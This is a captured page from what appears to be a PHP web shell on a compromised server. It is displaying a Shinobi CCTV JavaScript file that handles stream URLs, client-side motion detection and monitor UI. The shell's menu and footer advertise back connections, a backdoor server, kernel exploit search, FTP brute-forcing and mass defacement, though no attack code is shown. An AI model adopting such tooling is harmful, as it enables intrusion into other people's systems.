IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ distr/ Shinobi/ web/ libs/ js/ - drwxr-xr-x |
Viewing file:
Select action/file-type: $.ccio.init=function(x,d,user,k){ if(!k){k={}};k.tmp=''; if(d&&d.user){ user=d.user } if(!user){ user=$user } switch(x){ case'cleanMon': var acceptedFields = [ 'mid', 'ke', 'name', 'shto', 'shfr', 'details', 'type', 'ext', 'protocol', 'host', 'path', 'port', 'fps', 'mode', 'width', 'height' ] var row = {}; $.each(d,function(m,b){ if(acceptedFields.indexOf(m)>-1){ row[m]=b; } }) return row break; case'cleanMons': if(d==='object'){ var arr={} }else{ var arr=[] } $.each($.ccio.mon,function(n,v){ var row = $.ccio.init('cleanMon',v) if(d==='object'){ arr[n]=row }else{ arr.push(row) } }) return arr; break; case'location': var url if(d&&d.info&&d.info.URL){ url=d.info.URL if(url.charAt(url.length-1)!=='/'){ url=url+'/' } }else{ url = $.ccio.libURL } return url break; case'videoUrlBuild': var url if(d.href){ url = d.href }else if(!d.href && d.hrefNoAuth){ url = $.ccio.init('location',user)+user.auth_token+d.hrefNoAuth } if(user!==$user&&url.charAt(0)==='/'){ url = $.ccio.init('location',user)+d.href.substring(1) } return url break; case'videoHrefToDelete': var urlSplit = d.split('?') var url = urlSplit[0]+'/delete' if(urlSplit[1])url += '?' + urlSplit[1] return url break; case'videoHrefToUnread': var urlSplit = d.split('?') var url = urlSplit[0]+'/status/1' if(urlSplit[1])url += '?' + urlSplit[1] return url break; case'videoHrefToRead': var urlSplit = d.split('?') var url = urlSplit[0]+'/status/2' if(urlSplit[1])url += '?' + urlSplit[1] return url break; // case'streamWindow': // return $('.monitor_item[mid="'+d.id+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"]') // break; case'streamMotionDetectRestart': $.ccio.init('streamMotionDetectOff',d,user) $.ccio.init('streamMotionDetectOn',d,user) break; case'streamMotionDetectOff': d.mon.motionDetectionRunning = false $('.monitor_item[mid="'+d.mid+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"]').find('.stream-detected-object,.zoomGlass').remove() clearInterval(d.mon.motionDetector) break; case'streamMotionDetectOn': switch(JSON.parse(d.mon.details).stream_type){ case'hls':case'flv':case'mp4': //pass break; default: return $.ccio.init('note',{title:'Client-side Detector',text:'Could not be started. Only <b>FLV</b> and <b>HLS</b> can use this feature.',type:'error'}); break; } d.mon.motionDetectorNextDraw = true d.mon.motionDetectionRunning = true $.ccio.snapshot(d,function(url){ $('#temp').html('<img>') var img=$('#temp img')[0] img.onload=function(){ var frameNumber = 0, mainWindow = $('.monitor_item[mid="'+d.mid+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"]'), blenderCanvas = mainWindow.find(".blenderCanvas"), motionVision = mainWindow.find(".motionVision"), streamElement = mainWindow.find('.stream-element'), streamElementTag = streamElement[0], lastURL = null, currentImage = null, f = [], drawMatrices = { e:mainWindow, monitorDetails:JSON.parse(d.mon.details), stream:streamElement, streamObjects:mainWindow.find('.stream-objects'), details:{ name:'clientSideDetection', } }; widthRatio = streamElement.width() / img.width heightRatio = streamElement.height() / img.height drawMatrices.monitorDetails.detector_scale_x = img.width; drawMatrices.monitorDetails.detector_scale_y = img.height; function checkForMotion() { blenderCanvas.width = img.width; blenderCanvas.height = img.height; blenderCanvasContext.drawImage(streamElementTag, 0, 0); f[frameNumber] = blenderCanvasContext.getImageData(0, 0, blenderCanvas.width, blenderCanvas.height); frameNumber = 0 == frameNumber ? 1 : 0; currentImage = blenderCanvasContext.getImageData(0, 0, blenderCanvas.width, blenderCanvas.height); foundPixels = []; for (var currentImageLength = currentImage.data.length * 0.25, b = 0; b < currentImageLength;){ var pos = b * 4 currentImage.data[pos] = .5 * (255 - currentImage.data[pos]) + .5 * f[frameNumber].data[pos]; currentImage.data[pos + 1] = .5 * (255 - currentImage.data[pos + 1]) + .5 * f[frameNumber].data[pos + 1]; currentImage.data[pos + 2] = .5 * (255 - currentImage.data[pos + 2]) + .5 * f[frameNumber].data[pos + 2]; currentImage.data[pos + 3] = 255; var score = (currentImage.data[pos] + currentImage.data[pos + 1] + currentImage.data[pos + 2]) / 3; if(score>170){ var x = (pos / 4) % img.width; var y = Math.floor((pos / 4) / img.width); foundPixels.push([x,y]) } b += 4; } var groupedPoints = Object.assign({},Cluster); groupedPoints.iterations(25); groupedPoints.data(foundPixels); var groupedPoints = groupedPoints.clusters() drawMatrices.details.matrices=[] var mostHeight = 0; var mostWidth = 0; var mostWithMotion = null; groupedPoints.forEach(function(v,n){ var matrix = { topLeft:[img.width,img.height], topRight:[0,img.height], bottomRight:[0,0], bottomLeft:[img.width,0], } v.points.forEach(function(b){ var x = b[0] var y = b[1] if(x<matrix.topLeft[0])matrix.topLeft[0]=x; if(y<matrix.topLeft[1])matrix.topLeft[1]=y; //Top Right point if(x>matrix.topRight[0])matrix.topRight[0]=x; if(y<matrix.topRight[1])matrix.topRight[1]=y; //Bottom Right point if(x>matrix.bottomRight[0])matrix.bottomRight[0]=x; if(y>matrix.bottomRight[1])matrix.bottomRight[1]=y; //Bottom Left point if(x<matrix.bottomLeft[0])matrix.bottomLeft[0]=x; if(y>matrix.bottomLeft[1])matrix.bottomLeft[1]=y; }) matrix.x = matrix.topLeft[0]; matrix.y = matrix.topLeft[1]; matrix.width = matrix.topRight[0] - matrix.topLeft[0] matrix.height = matrix.bottomLeft[1] - matrix.topLeft[1] if(matrix.width>mostWidth&&matrix.height>mostHeight){ mostWidth = matrix.width; mostHeight = matrix.height; mostWithMotion = matrix; } drawMatrices.details.matrices.push(matrix) }) $.ccio.magnifyStream({ p:mainWindow, useCanvas:true, zoomAmount:1, auto:true, animate:true, pageX:((mostWithMotion.width / 2) + mostWithMotion.x) * widthRatio, pageY:((mostWithMotion.height / 2) + mostWithMotion.y) * heightRatio }) $.ccio.init('drawMatrices',drawMatrices) if(d.mon.motionDetectorNextDraw===true){ clearTimeout(d.mon.motionDetectorNextDrawTimeout) d.mon.motionDetectorNextDrawTimeout=setTimeout(function(){ d.mon.motionDetectorNextDraw = true; },1000) d.mon.motionDetectorNextDraw = false; // console.log({ // p:mainWindow, // pageX:((matrix.width / 2) + matrix.x) * widthRatio, // pageY:((matrix.height / 2) + matrix.y) * heightRatio // }) } return drawMatrices.details.matrices; } if(blenderCanvas.length === 0){ mainWindow.append('<div class="zoomGlass"><canvas class="blenderCanvas"></canvas></div>') blenderCanvas = mainWindow.find(".blenderCanvas") } blenderCanvas = blenderCanvas[0]; var blenderCanvasContext = blenderCanvas.getContext("2d"); clearInterval(d.mon.motionDetector) d.mon.motionDetector = setInterval(checkForMotion,2000) } img.src=url }) break; case'streamURL': var streamURL switch(JSON.parse(d.details).stream_type){ case'jpeg': streamURL=$.ccio.init('location',user)+user.auth_token+'/jpeg/'+d.ke+'/'+d.mid+'/s.jpg' break; case'mjpeg': streamURL=$.ccio.init('location',user)+user.auth_token+'/mjpeg/'+d.ke+'/'+d.mid break; case'hls': streamURL=$.ccio.init('location',user)+user.auth_token+'/hls/'+d.ke+'/'+d.mid+'/s.m3u8' break; case'flv': streamURL=$.ccio.init('location',user)+user.auth_token+'/flv/'+d.ke+'/'+d.mid+'/s.flv' break; case'h265': streamURL=$.ccio.init('location',user)+user.auth_token+'/h265/'+d.ke+'/'+d.mid+'/s.hevc' break; case'mp4': streamURL=$.ccio.init('location',user)+user.auth_token+'/mp4/'+d.ke+'/'+d.mid+'/s.mp4' break; case'b64': streamURL='Websocket' break; case'pam': streamURL='Websocket' break; } return streamURL break; case'humanReadMode': switch(d){ case'idle': k.mode=lang['Idle'] break; case'stop': k.mode=lang['Disabled'] break; case'record': k.mode=lang['Record'] break; case'start': k.mode=lang['Watch Only'] break; } return k.mode break; case'monitorInfo': d.e=$('.glM'+d.mon.mid+user.auth_token); if(JSON.parse(d.mon.details).vcodec!=='copy'&&d.mon.mode=='record'){ d.e.find('.monitor_not_record_copy').show() }else{ d.e.find('.monitor_not_record_copy').hide() } d.e.find('.monitor_name').text(d.mon.name) d.e.find('.monitor_mid').text(d.mon.mid) d.e.find('.monitor_ext').text(d.mon.ext); d.mode=$.ccio.init('humanReadMode',d.mon.mode,user) d.e.find('.monitor_mode').text(d.mode) d.e.find('.monitor_status').text(d.status) d.e.attr('mode',d.mode) d.e.find('.lamp').attr('title',d.mode) break; case'fullscreen': if (d.requestFullscreen) { d.requestFullscreen(); } else if (d.mozRequestFullScreen) { d.mozRequestFullScreen(); } else if (d.webkitRequestFullscreen) { d.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT); } break; case'drawPoints': d.height=d.stream.height() d.width=d.stream.width() if(d.monitorDetails.detector_scale_x===''){d.monitorDetails.detector_scale_x=320} if(d.monitorDetails.detector_scale_y===''){d.monitorDetails.detector_scale_y=240} d.widthRatio=d.width/d.monitorDetails.detector_scale_x d.heightRatio=d.height/d.monitorDetails.detector_scale_y d.streamObjects.find('.stream-detected-point[name="'+d.details.name+'"]').remove() d.tmp='' $.each(d.details.points,function(n,v){ d.tmp+='<div class="stream-detected-point" name="'+d.details.name+'" style="height:'+1+'px;width:'+1+'px;top:'+(d.heightRatio*v.x)+'px;left:'+(d.widthRatio*v.y)+'px;">' if(v.tag){d.tmp+='<span class="tag">'+v.tag+'</span>'} d.tmp+='</div>' }) d.streamObjects.append(d.tmp) break; case'drawMatrices': d.height=d.stream.height() d.width=d.stream.width() if(!d.details.imgWidth && d.monitorDetails.detector_scale_x===''){d.monitorDetails.detector_scale_x=640} if(!d.details.imgHeight && d.monitorDetails.detector_scale_y===''){d.monitorDetails.detector_scale_y=480} d.widthRatio=d.width/d.details.imgWidth || d.monitorDetails.detector_scale_x d.heightRatio=d.height/d.details.imgHeight || d.monitorDetails.detector_scale_y d.streamObjects.find('.stream-detected-object[name="'+d.details.name+'"]').remove() d.tmp='' $.each(d.details.matrices,function(n,v){ d.tmp+='<div class="stream-detected-object" name="'+d.details.name+'" style="height:'+(d.heightRatio*v.height)+'px;width:'+(d.widthRatio*v.width)+'px;top:'+(d.heightRatio*v.y)+'px;left:'+(d.widthRatio*v.x)+'px;">' if(v.tag){d.tmp+='<span class="tag">'+v.tag+'</span>'} d.tmp+='</div>' }) d.streamObjects.append(d.tmp) break; case'clearTimers': if(!d.mid){d.mid=d.id} if($.ccio.mon[d.ke+d.mid+user.auth_token]){ clearTimeout($.ccio.mon[d.ke+d.mid+user.auth_token]._signal); clearInterval($.ccio.mon[d.ke+d.mid+user.auth_token].hlsGarbageCollectorTimer) clearTimeout($.ccio.mon[d.ke+d.mid+user.auth_token].jpegInterval); clearInterval($.ccio.mon[d.ke+d.mid+user.auth_token].signal); clearInterval($.ccio.mon[d.ke+d.mid+user.auth_token].m3uCheck); if($.ccio.mon[d.ke+d.mid+user.auth_token].Base64 && $.ccio.mon[d.ke+d.mid+user.auth_token].Base64.connected){ $.ccio.mon[d.ke+d.mid+user.auth_token].Base64.disconnect() } if($.ccio.mon[d.ke+d.mid+user.auth_token].Poseidon){ $.ccio.mon[d.ke+d.mid+user.auth_token].Poseidon.stop() } } break; case'note': k.o=$.ccio.op().switches if(k.o&&k.o.notifyHide!==1){ new PNotify(d) if(user.details.audio_note && user.details.audio_note !== ''){ var audio = new Audio('libs/audio/'+user.details.audio_note); audio.play() } } break; case'monGroup': $.ccio.mon_groups={}; $.each($.ccio.mon,function(n,v,x){ if(typeof v.details==='string'){ k.d=JSON.parse(v.details) }else{ k.d=v.details } try{ k.groups=JSON.parse(k.d.groups) $.each(k.groups,function(m,b){ if(!$.ccio.mon_groups[b])$.ccio.mon_groups[b]={} $.ccio.mon_groups[b][v.mid]=v; }) }catch(er){ } }) return $.ccio.mon_groups; break; case'closeVideo': var el = $('#monitor_live_'+d.mid+user.auth_token) var video = el.find('video') if(video.length === 1){ if(!video[0].paused){ video[0].onerror = function(){} video[0].pause() } video.prop('src',''); video.find('source').remove(); video.remove(); } break; case'jpegModeStop': clearTimeout($.ccio.mon[d.ke+d.mid+user.auth_token].jpegInterval); delete($.ccio.mon[d.ke+d.mid+user.auth_token].jpegInterval); $('#monitor_live_'+d.mid+user.auth_token+' .stream-element').unbind('load') break; case'jpegMode': if(d.watch===1){ k=JSON.parse(d.details); k.jpegInterval=parseFloat(k.jpegInterval); if(!k.jpegInterval||k.jpegInterval===''||isNaN(k.jpegInterval)){k.jpegInterval=1} $.ccio.tm('stream-element',$.ccio.mon[d.ke+d.mid+user.auth_token]); k.e=$('#monitor_live_'+d.mid+user.auth_token+' .stream-element'); $.ccio.init('jpegModeStop',d,user); k.run=function(){ k.e.attr('src',$.ccio.init('location',user)+user.auth_token+'/jpeg/'+d.ke+'/'+d.mid+'/s.jpg?time='+(new Date()).getTime()) } k.e.on('load',function(){ $.ccio.mon[d.ke+d.mid+user.auth_token].jpegInterval=setTimeout(k.run,1000/k.jpegInterval); }).on('error',function(){ $.ccio.mon[d.ke+d.mid+user.auth_token].jpegInterval=setTimeout(k.run,1000/k.jpegInterval); }) k.run() }; break; case'jpegModeAll': $.each($.ccio.mon,function(n,v){ $.ccio.init('jpegMode',v,user) }); break; case'getLocation': var l = document.createElement("a"); l.href = d; return l; break; case 'ls'://livestamp all g={e:jQuery('.livestamp')}; g.e.each(function(){g.v=jQuery(this),g.t=g.v.attr('title');if(!g.t){return};g.v.toggleClass('livestamp livestamped').attr('title',$.ccio.init('t',g.t,user)).livestamp(g.t);}) return g.e break; case't'://format time if(!d){d=new Date();} return $.ccio.timeObject(d).format('YYYY-MM-DD HH:mm:ss') break; case'th'://format time hy if(!d){d=new Date();} return $.ccio.timeObject(d).format('YYYY-MM-DDTHH:mm:ss') break; case'tf'://time to filename if(!d){d=new Date();} return $.ccio.timeObject(d).format('YYYY-MM-DDTHH-mm-ss') break; case'fn'://row to filename return $.ccio.init('tf',d.time,user)+'.'+d.ext break; case'filters': k.tmp='<option value="" selected>'+lang['Add New']+'</option>'; $.each(user.details.filters,function(n,v){ k.tmp+='<option value="'+v.id+'">'+v.name+'</option>' }); $('#saved_filters').html(k.tmp) break; case'id': $('.usermail').html(d.mail) try{k.d=JSON.parse(d.details);}catch(er){k.d=d.details;} try{user.mon_groups=JSON.parse(k.d.mon_groups);}catch(er){} if(!user.mon_groups)user.mon_groups={}; $.sM.reDrawMonGroups() $.each(user,function(n,v){$.sM.e.find('[name="'+n+'"]').val(v).change()}) $.each(k.d,function(n,v){$.sM.e.find('[detail="'+n+'"]').val(v).change()}) $.gR.drawList(); break; case'jsontoblock'://draw json as block if(d instanceof Object){ $.each(d,function(n,v){ k.tmp+='<div>'; k.tmp+='<b>'+n+'</b> : '+$.ccio.init('jsontoblock',v,user); k.tmp+='</div>'; }) }else{ k.tmp+='<span>'; k.tmp+=d; k.tmp+='</span>'; } break; case'url': var porty if(d.port && d.port !== ''){ porty = ':' + d.port }else{ porty = '' } d.url = d.protocol + '://' + d.host + porty return d.url break; case'data-video': if(!d){ $('[data-mid]').each(function(n,v){ v=$(v);v.attr('mid',v.attr('data-mid')) }); $('[data-ke]').each(function(n,v){ v=$(v);v.attr('ke',v.attr('data-ke')) }); $('[data-file]').each(function(n,v){ v=$(v);v.attr('file',v.attr('data-file')) }); $('[data-status]').each(function(n,v){ v=$(v);v.attr('status',v.attr('data-status')) }); $('[data-auth]').each(function(n,v){ v=$(v);v.attr('auth',v.attr('data-auth')) }); }else{ $('[data-ke="'+d.ke+'"][data-mid="'+d.mid+'"][data-file="'+d.filename+'"][auth="'+user.auth_token+'"]').attr('mid',d.mid).attr('ke',d.ke).attr('status',d.status).attr('file',d.filename).attr('auth',user.auth_token); } break; case'signal': d.mon=$.ccio.mon[d.ke+d.id+user.auth_token];d.e=$('#monitor_live_'+d.id+user.auth_token+' .signal').addClass('btn-success').removeClass('btn-danger');d.signal=parseFloat(JSON.parse(d.mon.details).signal_check); if(!d.signal||d.signal==NaN){d.signal=10;};d.signal=d.signal*1000*60; clearTimeout($.ccio.mon[d.ke+d.id+user.auth_token]._signal);$.ccio.mon[d.ke+d.id+user.auth_token]._signal=setTimeout(function(){d.e.addClass('btn-danger').removeClass('btn-success');},d.signal) break; case'signal-check': try{ d.mon=$.ccio.mon[d.ke+d.id+user.auth_token];d.p=$('#monitor_live_'+d.id+user.auth_token); try{d.d=JSON.parse(d.mon.details)}catch(er){d.d=d.mon.details;} d.check={c:0}; d.fn=function(){ if(!d.speed){d.speed=1000} switch(d.d.stream_type){ case'b64':case'h265': d.p.resize() break; case'hls':case'flv':case'mp4': if(d.p.find('video')[0].paused){ if(d.d.signal_check_log==1){ d.log={type:'Stream Check',msg:lang.clientStreamFailedattemptingReconnect} $.ccio.tm(4,d,'#logs,.monitor_item[mid="'+d.id+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"] .logs') } $.ccio.cx({f:'monitor',ff:'watch_on',id:d.id},user); }else{ if(d.d.signal_check_log==1){ d.log={type:'Stream Check',msg:'Success'} $.ccio.tm(4,d,'#logs,.monitor_item[mid="'+d.id+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"] .logs') } $.ccio.init('signal',d,user); } break; default: if($.ccio.op().jpeg_on===true){return} $.ccio.snapshot(d,function(url){ d.check.f=url; setTimeout(function(){ $.ccio.snapshot(d,function(url){ if(d.check.f===url){ if(d.check.c<3){ ++d.check.c; setTimeout(function(){ d.fn(); },d.speed) }else{ if(d.d.signal_check_log==1){ d.log={type:'Stream Check',msg:'Client side ctream check failed, attempting reconnect.'} $.ccio.tm(4,d,'#logs,.monitor_item[mid="'+d.id+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"] .logs') } delete(d.check) $.ccio.cx({f:'monitor',ff:'watch_on',id:d.id},user); } }else{ if(d.d.signal_check_log==1){ d.log={type:'Stream Check',msg:'Success'} $.ccio.tm(4,d,'#logs,.monitor_item[mid="'+d.id+'"][ke="'+d.ke+'"][auth="'+user.auth_token+'"] .logs') } delete(d.check) $.ccio.init('signal',d,user); } }); },d.speed) }); break; } } d.fn(); }catch(er){ er=er.stack; d.in=function(x){return er.indexOf(x)>-1} switch(true){ case d.in("The HTMLImageElement provided is in the 'broken' state."): delete(d.check) $.ccio.cx({f:'monitor',ff:'watch_on',id:d.id},user); break; default: $.ccio.log('signal-check',er) break; } clearInterval($.ccio.mon[d.ke+d.id+user.auth_token].signal);delete($.ccio.mon[d.ke+d.id+user.auth_token].signal); } break; } return k.tmp; } |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |